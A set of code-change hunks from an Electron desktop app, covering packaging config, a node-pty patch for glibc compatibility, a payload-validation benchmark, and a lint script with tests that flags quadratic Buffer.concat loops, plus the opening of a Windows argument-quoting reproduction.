// app.asar too lets asarUnpack:['resources/**'] extract a second copy at
// app.asar.unpacked/resources/win32/bin/orca.cmd with no adjacent orca.exe,
// which fails to launch the CLI (#7351).
'!resources/win32{,/**/*}'
],
// Why: the CLI entry-point lives in out/cli/ but imports shared modules
// from out/shared/ and local hook mutators from out/main/. These paths must be
@@ -122,6 +141,7 @@ module.exports = {
'out/main/hermes/**',
'out/main/win32-utils.js',
'out/main/daemon-entry.js',
'out/main/plugin-host-entry.js',
'out/main/computer-sidecar.js',
'out/main/parcel-watcher-process-entry.js',
'out/main/chunks/**',
@@ -133,6 +153,12 @@ module.exports = {
'node_modules/sherpa-onnx*/**'
],
afterPack: async (context) => {
// Why: a Linux runner-image glibc bump silently shipped a node-pty pty.node
// requiring GLIBC_2.34, crashing the app on startup on Ubuntu 20.04 (#9902).
// Fail packaging if any bundled native binary exceeds the supported floor.
if (context.electronPlatformName === 'linux') {
verifyLinuxGlibcFloor(context.appOutDir)
}
const resourcesDir =
context.electronPlatformName === 'darwin'
? join(
@@ -165,6 +191,9 @@ module.exports = {
`[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
)
}
// Why: inspect electron-builder's real output so a broken extraResources
// mapping fails packaging before bundled content reaches users.
verifyPackagedPluginResources(resourcesDir)
chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
for (const filename of readdirSync(resourcesDir)) {
+15
View File
@@ -0,0 +1,15 @@
import { defineConfig } from 'electron-vite'
import { electronViteConfig } from '../electron.vite.config'
const target = process.env.ORCA_ELECTRON_VITE_TARGET
const configByTarget = {
main: { main: electronViteConfig.main },
preload: { preload: electronViteConfig.preload },
renderer: { renderer: electronViteConfig.renderer }
}
if (!target || !Object.prototype.hasOwnProperty.call(configByTarget, target)) {
throw new Error(`Invalid ORCA_ELECTRON_VITE_TARGET: ${target ?? '<unset>'}`)
}
export default defineConfig(configByTarget[target as keyof typeof configByTarget])
File diff suppressed because one or more lines are too long
+80 -35
View File
@@ -1,5 +1,5 @@
diff --git a/binding.gyp b/binding.gyp
index 5f63978b07ab50aaf7523219a2170ec737a6b5db..b3309a07ef99dea7967d7bdd04b9fc3500acacae 100644
index 5f63978b07ab50aaf7523219a2170ec737a6b5db..bbd9e06136e8922f40b5779e35d4fc835f1479ab 100644
--- a/binding.gyp
+++ b/binding.gyp
@@ -5,9 +5,6 @@
@@ -12,6 +12,23 @@ index 5f63978b07ab50aaf7523219a2170ec737a6b5db..b3309a07ef99dea7967d7bdd04b9fc35
'msvs_settings': {
'VCCLCompilerTool': {
'AdditionalOptions': [
@@ -88,6 +85,16 @@
'libraries!': [
'-lutil'
]
+ }],
+ # Orca: pair with the .symver pins in pty.cc. Force the real
+ # libutil.so.1/libpthread.so.0 into DT_NEEDED (gcc's default
+ # --as-needed drops them because the pinned symbols resolve from
+ # libc's compat aliases at build time) so openpty/forkpty/
+ # pthread_sigmask still resolve on Ubuntu 20.04 (glibc 2.31).
+ ['OS=="linux"', {
+ 'ldflags': [
+ '-Wl,--no-as-needed,-l:libutil.so.1,-l:libpthread.so.0,--as-needed'
+ ]
}]
]
}
diff --git a/deps/winpty/src/winpty.gyp b/deps/winpty/src/winpty.gyp
index 1ac5758bedd8cf54f32280dea4e4aeb5afdee30d..e619813759c6f14694838bdfbd0ea5f8360130ef 100644
--- a/deps/winpty/src/winpty.gyp
@@ -54,6 +71,27 @@ index 1ac5758bedd8cf54f32280dea4e4aeb5afdee30d..e619813759c6f14694838bdfbd0ea5f8
'msvs_settings': {
# Specify this setting here to override a setting from somewhere
# else, such as node's common.gypi.
diff --git a/lib/conpty_console_list_agent.js b/lib/conpty_console_list_agent.js
index 8c4fca9022a6d6f015bca87f61625cde2278f428..0a01730616488119aa21ef441cf3c441e02a974c 100644
--- a/lib/conpty_console_list_agent.js
+++ b/lib/conpty_console_list_agent.js
@@ -10,7 +10,14 @@ Object.defineProperty(exports, "__esModule", { value: true });
var utils_1 = require("./utils");
var getConsoleProcessList = utils_1.loadNativeModule('conpty_console_list').module.getConsoleProcessList;
var shellPid = parseInt(process.argv[2], 10);
-var consoleProcessList = getConsoleProcessList(shellPid);
+var consoleProcessList;
+try {
+ consoleProcessList = getConsoleProcessList(shellPid);
+}
+catch (_a) {
+ // Why: AttachConsole can fail after the shell exits; parent already has this fallback.
+ consoleProcessList = [shellPid];
+}
process.send({ consoleProcessList: consoleProcessList });
process.exit(0);
//# sourceMappingURL=conpty_console_list_agent.js.map
\ No newline at end of file
diff --git a/lib/unixTerminal.js b/lib/unixTerminal.js
index 1ec12f796a822c78fba9ad7f6448c3987e325c23..cec8b67aef02f8199e5606a0d257088bf1865877 100644
--- a/lib/unixTerminal.js
@@ -73,31 +111,12 @@ index 1ec12f796a822c78fba9ad7f6448c3987e325c23..cec8b67aef02f8199e5606a0d257088b
var DEFAULT_FILE = 'sh';
var DEFAULT_NAME = 'xterm';
var DESTROY_SOCKET_TIMEOUT_MS = 200;
diff --git a/lib/conpty_console_list_agent.js b/lib/conpty_console_list_agent.js
index ccc111c9e03a4a661ccfd5d8e8f0ee699571b5dd..f92c6bef7d46dc35c941c87ef186aa46d8ed9c44 100644
--- a/lib/conpty_console_list_agent.js
+++ b/lib/conpty_console_list_agent.js
@@ -9,7 +9,14 @@ Object.defineProperty(exports, "__esModule", { value: true });
var utils_1 = require("./utils");
var getConsoleProcessList = utils_1.loadNativeModule('conpty_console_list').module.getConsoleProcessList;
var shellPid = parseInt(process.argv[2], 10);
-var consoleProcessList = getConsoleProcessList(shellPid);
+var consoleProcessList;
+try {
+ consoleProcessList = getConsoleProcessList(shellPid);
+}
+catch (_a) {
+ // Why: AttachConsole can fail after the shell exits; parent already has this fallback.
+ consoleProcessList = [shellPid];
+}
process.send({ consoleProcessList: consoleProcessList });
process.exit(0);
//# sourceMappingURL=conpty_console_list_agent.js.map
diff --git a/src/conpty_console_list_agent.ts b/src/conpty_console_list_agent.ts
index f6a653893e0b9b548c514db29d75599538ee1acb..1d5400489f200ef0161ca687e672e1cc02d29c95 100644
index 181ccabbbe9c4948a9725fb1db907a68e9de01fc..67f31facf85562b67adbfbd04ce28ddd8eeb4a79 100644
--- a/src/conpty_console_list_agent.ts
+++ b/src/conpty_console_list_agent.ts
@@ -11,5 +11,11 @@ import { loadNativeModule } from './utils';
@@ -10,6 +10,12 @@ import { loadNativeModule } from './utils';
const getConsoleProcessList = loadNativeModule('conpty_console_list').module.getConsoleProcessList;
const shellPid = parseInt(process.argv[2], 10);
-const consoleProcessList = getConsoleProcessList(shellPid);
@@ -111,7 +130,7 @@ index f6a653893e0b9b548c514db29d75599538ee1acb..1d5400489f200ef0161ca687e672e1cc
process.send!({ consoleProcessList });
process.exit(0);
diff --git a/src/unix/pty.cc b/src/unix/pty.cc
index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca850564e6368d9 100644
index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..383df0c9c48355547c65e6c9bbba593d15c4dd44 100644
--- a/src/unix/pty.cc
+++ b/src/unix/pty.cc
@@ -23,7 +23,9 @@
@@ -124,7 +143,33 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
#include <thread>
#include <sys/types.h>
@@ -237,13 +239,23 @@ pty_getproc(int, char *);
@@ -47,6 +49,25 @@
#include <termios.h>
#endif
+/* Orca: glibc 2.32-2.34 relocated pthread_sigmask/openpty/forkpty into libc
+ * under new symbol versions, so building on a newer glibc produces references
+ * (GLIBC_2.32/2.34) absent on Ubuntu 20.04 (glibc 2.31) and the app fails to
+ * launch. Pin these to the pre-merge version glibc still ships as a compat
+ * alias; the binding.gyp ldflags force libutil/libpthread into DT_NEEDED so
+ * those aliases are actually loaded on the target. */
+#if defined(__linux__)
+# if defined(__x86_64__)
+# define ORCA_GLIBC_COMPAT_VERSION "GLIBC_2.2.5"
+# elif defined(__aarch64__)
+# define ORCA_GLIBC_COMPAT_VERSION "GLIBC_2.17"
+# endif
+# ifdef ORCA_GLIBC_COMPAT_VERSION
+__asm__(".symver openpty,openpty@" ORCA_GLIBC_COMPAT_VERSION);
+__asm__(".symver forkpty,forkpty@" ORCA_GLIBC_COMPAT_VERSION);
+__asm__(".symver pthread_sigmask,pthread_sigmask@" ORCA_GLIBC_COMPAT_VERSION);
+# endif
+#endif
+
/* Some platforms name VWERASE and VDISCARD differently */
#if !defined(VWERASE) && defined(VWERSE)
#define VWERASE VWERSE
@@ -237,13 +258,23 @@ pty_getproc(int, char *);
#endif
#if defined(__APPLE__) || defined(__OpenBSD__)
@@ -149,7 +194,7 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
#endif
struct DelBuf {
@@ -367,10 +379,11 @@ Napi::Value PtyFork(const Napi::CallbackInfo& info) {
@@ -367,10 +398,11 @@ Napi::Value PtyFork(const Napi::CallbackInfo& info) {
argv[i + 3] = strdup(arg.c_str());
}
@@ -165,7 +210,7 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
}
if (pty_nonblock(master) == -1) {
throw Napi::Error::New(napiEnv, "Could not set master fd to nonblocking.");
@@ -684,15 +697,73 @@ pty_getproc(int fd, char *tty) {
@@ -684,15 +716,73 @@ pty_getproc(int fd, char *tty) {
#endif
#if defined(__APPLE__)
@@ -241,25 +286,25 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
for (; count < 3; count++) {
low_fds[count] = posix_openpt(O_RDWR);
@@ -706,80 +777,118 @@ pty_posix_spawn(char** argv, char** env,
@@ -706,80 +796,118 @@ pty_posix_spawn(char** argv, char** env,
POSIX_SPAWN_SETSID;
*master = posix_openpt(O_RDWR);
if (*master == -1) {
- return;
+ pty_set_spawn_error(err, "posix_openpt", errno);
+ goto done;
+ }
+
+ res = grantpt(*master);
+ if (res == -1) {
+ pty_set_spawn_error(err, "grantpt", errno);
+ goto done;
}
- int res = grantpt(*master) || unlockpt(*master);
+ res = unlockpt(*master);
+ res = grantpt(*master);
if (res == -1) {
- return;
+ pty_set_spawn_error(err, "grantpt", errno);
+ goto done;
+ }
+
+ res = unlockpt(*master);
+ if (res == -1) {
+ pty_set_spawn_error(err, "unlockpt", errno);
+ goto done;
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,220 @@
#!/usr/bin/env node
// Benchmark: cost of validating an agent-status payload on every hook event.
//
// 13 of the 15 per-source normalizers in agent-hook-listener.ts built a plain
// object, JSON.stringify'd it, and handed the string to parseAgentStatusPayload,
// which runs assertJsonTextStructureWithinLimits (a per-character scan of the
// WHOLE serialized string) plus JSON.parse — only to reach the same
// normalizeAgentStatusObject the object path calls directly. Claude and Codex
// were already converted, with a comment calling the round trip "pure overhead
// on this hot per-hook path"; the other 13 were not.
//
// Why the gap widens with payload size: the direct path's field normalizer stops
// at the field cap (`normalized.length < maxLength`), so it is O(cap). The round
// trip is O(input) — and the input is bounded only by the 1 MB hook request
// limit, since tool_response text is passed through uncapped for most sources.
//
// Amplifier this models in the second table: resolveToolState stores the raw
// value in lastToolByPaneKey and inherits it until a turn reset, so one large
// tool result is re-serialized and re-scanned on every later event of the turn.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const TYPES_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/agent-status-types.ts', import.meta.url)),
'utf8'
)
function readMirroredConstant(name) {
const match = TYPES_SOURCE.match(new RegExp(`${name}\\s*=\\s*([0-9_]+)`))
if (!match) {
throw new Error(`agent-status-types.ts no longer defines ${name}; re-sync this benchmark.`)
}
return Number(match[1].replaceAll('_', ''))
}
// Read the cap the direct path clamps at, so a drifted value fails loudly here
// instead of quietly changing what this benchmark claims.
const ASSISTANT_MESSAGE_CAP = readMirroredConstant('AGENT_STATUS_ASSISTANT_MESSAGE_MAX_LENGTH')
const ITERATIONS = Number.parseInt(process.env.ORCA_HOOK_NORM_BENCH_ITERATIONS ?? '400', 10)
const WARMUP = Number.parseInt(process.env.ORCA_HOOK_NORM_BENCH_WARMUP ?? '200', 10)
for (const [name, value] of [
['ORCA_HOOK_NORM_BENCH_ITERATIONS', ITERATIONS],
['ORCA_HOOK_NORM_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
const STRUCTURAL_TOKENS = 4096
const NESTING_DEPTH = 16
// Mirror of assertJsonTextStructureWithinLimits — the per-character scan the
// round trip pays before JSON.parse even starts.
function scanJsonStructure(content) {
let structuralTokens = 0
let depth = 0
let inString = false
let escaped = false
for (let index = 0; index < content.length; index += 1) {
const character = content[index]
if (inString) {
if (escaped) {
escaped = false
} else if (character === '\\') {
escaped = true
} else if (character === '"') {
inString = false
}
continue
}
if (character === '"') {
inString = true
continue
}
if (
character !== '{' &&
character !== '}' &&
character !== '[' &&
character !== ']' &&
character !== ',' &&
character !== ':'
) {
continue
}
structuralTokens += 1
if (structuralTokens > STRUCTURAL_TOKENS) {
throw new Error('structuralTokens')
}
if (character === '{' || character === '[') {
depth += 1
if (depth > NESTING_DEPTH) {
throw new Error('nestingDepth')
}
} else if (character === '}' || character === ']') {
depth = Math.max(0, depth - 1)
}
}
}
// Mirror of the field normalizer's bounded walk: it stops consuming at the cap.
function normalizeField(value, maxLength) {
if (typeof value !== 'string') {
return undefined
}
let normalized = ''
let newlineRun = 0
for (let index = 0; index < value.length && normalized.length < maxLength; index += 1) {
const code = value.charCodeAt(index)
if (code === 13 || code === 10 || code === 0x2028 || code === 0x2029) {
if (code === 13 && value.charCodeAt(index + 1) === 10) {
index += 1
}
if (newlineRun < 2) {
normalized += '\n'
}
newlineRun += 1
continue
}
newlineRun = 0
normalized += value[index]
}
return normalized
}
function normalizeObject(payload) {
return {
state: payload.state,
prompt: normalizeField(payload.prompt, ASSISTANT_MESSAGE_CAP),
agentType: payload.agentType,
toolName: normalizeField(payload.toolName, ASSISTANT_MESSAGE_CAP),
toolInput: normalizeField(payload.toolInput, ASSISTANT_MESSAGE_CAP),
lastAssistantMessage: normalizeField(payload.lastAssistantMessage, ASSISTANT_MESSAGE_CAP)
}
}
// Pre-fix: serialize, scan every character, parse, then normalize.
function validateViaRoundTrip(payload) {
const json = JSON.stringify(payload)
scanJsonStructure(json)
return normalizeObject(JSON.parse(json))
}
// Post-fix: normalize the object that is already in hand.
function validateDirect(payload) {
return normalizeObject(payload)
}
function makePayload(messageBytes) {
return {
state: 'working',
prompt: 'do the thing',
agentType: 'grok',
toolName: 'shell_command',
toolInput: 'ls -la',
lastAssistantMessage: 'x'.repeat(messageBytes)
}
}
function measure(fn, payload) {
for (let index = 0; index < WARMUP; index += 1) {
fn(payload)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
fn(payload)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const rows = []
for (const kb of [4, 16, 64, 256]) {
const payload = makePayload(kb * 1024)
const before = validateViaRoundTrip(payload)
const after = validateDirect(payload)
if (JSON.stringify(before) !== JSON.stringify(after)) {
throw new Error(`normalizer mismatch at ${kb} KB`)
}
rows.push({
label: `${kb} KB`,
beforeUs: measure(validateViaRoundTrip, payload) * 1000,
afterUs: measure(validateDirect, payload) * 1000
})
}
const pad = (value, width) => String(value).padStart(width)
console.log('Agent-status payload validation, per hook event')
console.log(
`field cap=${ASSISTANT_MESSAGE_CAP} iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`
)
console.log(
`${pad('payload', 9)} ${pad('round trip', 12)} ${pad('direct', 10)} ${pad('speedup', 9)}`
)
for (const row of rows) {
console.log(
`${pad(row.label, 9)} ${pad(`${row.beforeUs.toFixed(1)} us`, 12)} ${pad(`${row.afterUs.toFixed(1)} us`, 10)} ${pad(`${(row.beforeUs / row.afterUs).toFixed(1)}x`, 9)}`
)
}
// A single large tool result is inherited across the turn, so every later event
// re-pays the round trip on bytes that were already validated once.
const TURN_EVENTS = 20
const inherited = makePayload(200 * 1024)
const beforeTurnMs = (measure(validateViaRoundTrip, inherited) * TURN_EVENTS).toFixed(2)
const afterTurnMs = (measure(validateDirect, inherited) * TURN_EVENTS).toFixed(2)
console.log(
`\nOne 200 KB tool result, inherited across ${TURN_EVENTS} later events in the same turn:` +
`\n round trip ${beforeTurnMs} ms total direct ${afterTurnMs} ms total`
)
console.log(
'\nThe direct path is flat because the field normalizer stops at the cap; the\nround trip is linear in the raw payload, which is bounded only by the 1 MB\nhook request limit.'
)
@@ -0,0 +1,343 @@
import fs from 'node:fs/promises'
import path from 'node:path'
import { pathToFileURL } from 'node:url'
import process from 'node:process'
// TypeScript 7 is a native CLI; AST consumers still need the legacy JavaScript API.
import ts from 'typescript-api'
const SOURCE_EXTENSIONS = new Set(['.ts', '.tsx', '.js', '.jsx', '.mjs', '.mts', '.cts'])
const SKIP_PATH_PARTS = new Set(['node_modules', 'dist', 'out', '.git', '__snapshots__'])
const SCAN_ROOTS = ['src', 'config/scripts', 'tools', 'tests', 'mobile']
const LOOP_KINDS = new Set([
ts.SyntaxKind.ForStatement,
ts.SyntaxKind.ForInStatement,
ts.SyntaxKind.ForOfStatement,
ts.SyntaxKind.WhileStatement,
ts.SyntaxKind.DoStatement
])
const ASSIGNMENT_OPERATORS = new Set([
ts.SyntaxKind.EqualsToken,
ts.SyntaxKind.PlusEqualsToken,
ts.SyntaxKind.QuestionQuestionEqualsToken,
ts.SyntaxKind.BarBarEqualsToken,
ts.SyntaxKind.AmpersandAmpersandEqualsToken
])
function normalizeReferenceText(text) {
return text.replaceAll(/\s+/g, '')
}
// The variable a member/call chain ultimately reads, so `carry.subarray(0, n)`
// still resolves to `carry`. `this.x` stops at the property: the class field is
// the accumulator.
function rootReferenceText(node) {
if (ts.isIdentifier(node)) {
return node.text
}
if (ts.isPropertyAccessExpression(node)) {
return node.expression.kind === ts.SyntaxKind.ThisKeyword
? normalizeReferenceText(node.getText())
: rootReferenceText(node.expression)
}
if (
ts.isElementAccessExpression(node) ||
ts.isCallExpression(node) ||
ts.isNonNullExpression(node) ||
ts.isParenthesizedExpression(node) ||
ts.isAsExpression(node)
) {
return rootReferenceText(node.expression)
}
return undefined
}
function isBufferConcatCall(node) {
return (
ts.isCallExpression(node) &&
ts.isPropertyAccessExpression(node.expression) &&
node.expression.name.text === 'concat' &&
ts.isIdentifier(node.expression.expression) &&
node.expression.expression.text === 'Buffer' &&
node.arguments.length > 0 &&
ts.isArrayLiteralExpression(node.arguments[0])
)
}
function enclosingLoop(node) {
for (let current = node.parent; current; current = current.parent) {
if (LOOP_KINDS.has(current.kind)) {
return current
}
}
return undefined
}
// A `for (let acc = ...; ;)` binding is loop-carried even though it sits inside
// the loop node, so the initializer does not count as loop-local.
function isDeclaredInsideLoop(declarationStart, loop) {
if (declarationStart < loop.getStart() || declarationStart >= loop.end) {
return false
}
const initializer = ts.isForStatement(loop) ? loop.initializer : undefined
if (!initializer) {
return true
}
return declarationStart < initializer.getStart() || declarationStart >= initializer.end
}
function collectBindingNames(name, into) {
if (ts.isIdentifier(name)) {
into.push(name)
return
}
if (ts.isObjectBindingPattern(name) || ts.isArrayBindingPattern(name)) {
for (const element of name.elements) {
if (ts.isBindingElement(element)) {
collectBindingNames(element.name, into)
}
}
}
}
function collectDeclarations(sourceFile) {
const declarations = new Map()
const record = (identifier, node) => {
const existing = declarations.get(identifier.text)
const start = node.getStart(sourceFile)
if (existing) {
existing.push(start)
} else {
declarations.set(identifier.text, [start])
}
}
const visit = (node) => {
if (ts.isVariableDeclaration(node) || ts.isParameter(node)) {
const names = []
collectBindingNames(node.name, names)
for (const identifier of names) {
record(identifier, node)
}
}
ts.forEachChild(node, visit)
}
visit(sourceFile)
return declarations
}
function collectAssignedRoots(loop) {
const assigned = new Set()
const visit = (node) => {
if (ts.isBinaryExpression(node) && ASSIGNMENT_OPERATORS.has(node.operatorToken.kind)) {
const root = rootReferenceText(node.left)
if (root) {
assigned.add(root)
}
}
ts.forEachChild(node, visit)
}
visit(loop.statement)
return assigned
}
// Unwrap the wrappers a concat result passes through before it lands on the
// left-hand side, so `acc = cond ? Buffer.concat([acc, c]) : c` still counts.
function assignmentTargetOf(call) {
let node = call
let parent = node.parent
while (
parent &&
(ts.isParenthesizedExpression(parent) ||
ts.isAsExpression(parent) ||
ts.isNonNullExpression(parent) ||
(ts.isConditionalExpression(parent) && parent.condition !== node))
) {
node = parent
parent = parent.parent
}
if (
parent &&
ts.isBinaryExpression(parent) &&
parent.operatorToken.kind === ts.SyntaxKind.EqualsToken &&
parent.right === node
) {
return {
text: normalizeReferenceText(parent.left.getText()),
root: rootReferenceText(parent.left)
}
}
return undefined
}
function concatOperands(call) {
return call.arguments[0].elements.map((element) => {
const spread = ts.isSpreadElement(element)
const expression = spread ? element.expression : element
return {
spread,
text: normalizeReferenceText(expression.getText()),
root: rootReferenceText(expression)
}
})
}
// A binding reset on every iteration cannot accumulate; only one that outlives
// the iteration carries the cost forward.
function isLoopCarried(root, loop, declarations) {
const starts = declarations.get(root)
if (!starts) {
return true
}
return !starts.some((start) => isDeclaredInsideLoop(start, loop))
}
function quadraticAccumulator(call, loop, declarations, assignedRoots) {
const operands = concatOperands(call)
const target = assignmentTargetOf(call)
// The result feeds straight back into its own input: every iteration re-copies
// everything accumulated so far.
const selfOperand = target
? operands.find((operand) => operand.text === target.text || operand.root === target.root)
: undefined
if (selfOperand && target.root && isLoopCarried(target.root, loop, declarations)) {
return target.text
}
// No direct self-assignment, so look for a loop-carried operand reassigned
// inside the loop: the concat result reaches it by some other path. Spread
// operands are the sanctioned chunk-list fix, not this bug, so skip them.
for (const operand of operands) {
if (operand.spread || !operand.root || !assignedRoots.has(operand.root)) {
continue
}
if (isLoopCarried(operand.root, loop, declarations)) {
return operand.root
}
}
return undefined
}
export function reportQuadraticBufferConcat(filePath, sourceText) {
if (!sourceText.includes('Buffer.concat')) {
return []
}
const sourceFile = ts.createSourceFile(filePath, sourceText, ts.ScriptTarget.Latest, true)
const declarations = collectDeclarations(sourceFile)
const assignedRootsByLoop = new Map()
const reports = []
const seen = new Set()
const visit = (node) => {
if (isBufferConcatCall(node)) {
const loop = enclosingLoop(node)
if (loop) {
let assignedRoots = assignedRootsByLoop.get(loop)
if (!assignedRoots) {
assignedRoots = collectAssignedRoots(loop)
assignedRootsByLoop.set(loop, assignedRoots)
}
const accumulator = quadraticAccumulator(node, loop, declarations, assignedRoots)
if (accumulator) {
const start = node.getStart(sourceFile)
if (!seen.has(start)) {
seen.add(start)
const { line, character } = sourceFile.getLineAndCharacterOfPosition(start)
reports.push({
filePath,
line: line + 1,
column: character + 1,
accumulator,
text: node.getText()
})
}
}
}
}
ts.forEachChild(node, visit)
}
visit(sourceFile)
return reports
}
export function normalizePath(root, filePath) {
return path.relative(root, filePath).split(path.sep).join('/')
}
function isSkippedFile(root, filePath) {
const relative = normalizePath(root, filePath)
// Benchmarks keep the pre-fix shape on purpose so they can measure against it.
if (
relative.includes('.test.') ||
relative.includes('.spec.') ||
relative.includes('-benchmark.')
) {
return true
}
return relative.split('/').some((part) => SKIP_PATH_PARTS.has(part))
}
async function collectSourceFiles(root, dir) {
let entries
try {
entries = await fs.readdir(dir, { withFileTypes: true })
} catch {
return []
}
const files = []
for (const entry of entries) {
const fullPath = path.join(dir, entry.name)
if (entry.isDirectory()) {
if (!SKIP_PATH_PARTS.has(entry.name)) {
files.push(...(await collectSourceFiles(root, fullPath)))
}
} else if (
entry.isFile() &&
SOURCE_EXTENSIONS.has(path.extname(entry.name)) &&
!isSkippedFile(root, fullPath)
) {
files.push(fullPath)
}
}
return files
}
function formatReports(root, reports) {
return reports
.map(
(report) =>
`${normalizePath(root, report.filePath)}:${report.line}:${report.column} ${report.accumulator} — ${report.text.replaceAll(/\s+/g, ' ')}`
)
.join('\n')
}
export async function main(root = process.cwd()) {
const reports = []
for (const scanRoot of SCAN_ROOTS) {
const files = await collectSourceFiles(root, path.join(root, scanRoot))
for (const filePath of files) {
const sourceText = await fs.readFile(filePath, 'utf8')
reports.push(...reportQuadraticBufferConcat(filePath, sourceText))
}
}
if (reports.length === 0) {
return 0
}
console.error('Buffer.concat must not rebuild a loop-carried accumulator.')
console.error('Each iteration re-copies everything accumulated so far, so the loop is O(n^2).')
console.error('Collect the pieces in a Buffer[] and Buffer.concat(chunks) once, after the loop.')
console.error('')
console.error(formatReports(root, reports))
return 1
}
if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
process.exit(await main())
}
@@ -0,0 +1,146 @@
import { describe, expect, it } from 'vitest'
import { reportQuadraticBufferConcat } from './check-quadratic-buffer-concat.mjs'
describe('check-quadratic-buffer-concat', () => {
it('reports an accumulator rebuilt from itself in a for-of loop', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([acc, chunk]) }'
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('acc')
})
it('reports the accumulator when it trails the new chunk', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([chunk, acc]) }'
)
expect(reports).toHaveLength(1)
})
it('reports a spread of the accumulator into its own concat', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([...acc, chunk]) }'
)
expect(reports).toHaveLength(1)
})
it('reports the real pre-fix ai-vault stream carry', () => {
const reports = reportQuadraticBufferConcat(
'session-scanner-parse-cache.ts',
`async function read(stream) {
let remainder = null
for await (const chunk of stream) {
const data = remainder ? Buffer.concat([remainder, chunk]) : chunk
remainder = Buffer.from(data.subarray(lineStart))
}
}`
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('remainder')
})
it('reports the real pre-fix transcript reader carry, which never names itself on the left', () => {
const reports = reportQuadraticBufferConcat(
'agent-hook-listener.ts',
`function read(fd, size) {
let carryBytes = Buffer.alloc(0)
while (bytesRead < size) {
const combined = Buffer.concat([buffer.subarray(0, n), carryBytes])
carryBytes = combined.subarray(0, firstNewline)
}
}`
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('carryBytes')
})
it('accepts the chunk-list fix that joins once after the loop', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'const parts = []; for (const chunk of chunks) { parts.push(chunk) } const out = Buffer.concat(parts)'
)
expect(reports).toHaveLength(0)
})
it('accepts spreading a carry chunk list, which is the sanctioned fix', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
`let carryChunks = []
while (scanEnd > 0) {
const region = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
carryChunks = [buffer.subarray(0, firstNewline)]
}`
)
expect(reports).toHaveLength(0)
})
it('accepts a concat whose result never outlives the iteration', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'for (const group of groups) { const frame = Buffer.concat([group.header, group.body]); send(frame) }'
)
expect(reports).toHaveLength(0)
})
it('accepts a loop-local buffer declared and rebuilt inside the same iteration', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'for (const chunk of chunks) { let framed = HEADER; framed = Buffer.concat([framed, chunk]); send(framed) }'
)
expect(reports).toHaveLength(0)
})
it('reports an accumulator declared in a classic for initializer', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'for (let acc = Buffer.alloc(0), i = 0; i < n; i++) { acc = Buffer.concat([acc, chunks[i]]) }'
)
expect(reports).toHaveLength(1)
})
it('reports a class field accumulator rebuilt inside a loop', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'class Reader { read() { while (this.open) { this.pending = Buffer.concat([this.pending, chunk]) } } }'
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('this.pending')
})
it('reports an accumulator guarded by an emptiness ternary', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); while (open) { acc = acc.length === 0 ? chunk : Buffer.concat([acc, chunk]) }'
)
expect(reports).toHaveLength(1)
})
it('ignores a per-event accumulator with no enclosing loop', () => {
const reports = reportQuadraticBufferConcat(
'scrcpy-stream-session.ts',
'class S { handleVideoChunk(chunk) { let buffer = Buffer.concat([this.pendingVideo, chunk]); this.pendingVideo = parse(buffer).pending } }'
)
expect(reports).toHaveLength(0)
})
it('ignores files with no Buffer.concat at all', () => {
expect(reportQuadraticBufferConcat('Example.ts', 'export const x = 1')).toHaveLength(0)
})
})
@@ -0,0 +1,342 @@
import { spawn } from 'node:child_process'
import { mkdtemp, mkdir, readFile, rm, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { buildWindowsCommandInvocation } from '../../src/main/claude-accounts/windows-command-invocation.ts'
const strategy = process.argv[2]
if (!['baseline', 'candidate', 'explicit-cmd'].includes(strategy)) {
throw new Error(
'Usage: node config/scripts/claude-account-windows-spawn-repro.mjs <baseline|candidate|explicit-cmd>'
)
}
if (process.platform !== 'win32') {
throw new Error('This reproduction requires a physical Windows host.')
}
const expectedArgs = [
'',
'two words',
'amp&ersand',
'pipe|value',
'less<value',
'greater>value',
'caret^value',
'trailing\\',
'two-trailing\\\\',
'(parentheses)',
'100%',
'%ORCA_ARG_TRAP%',
'bang!value',
'한글-λ'
]
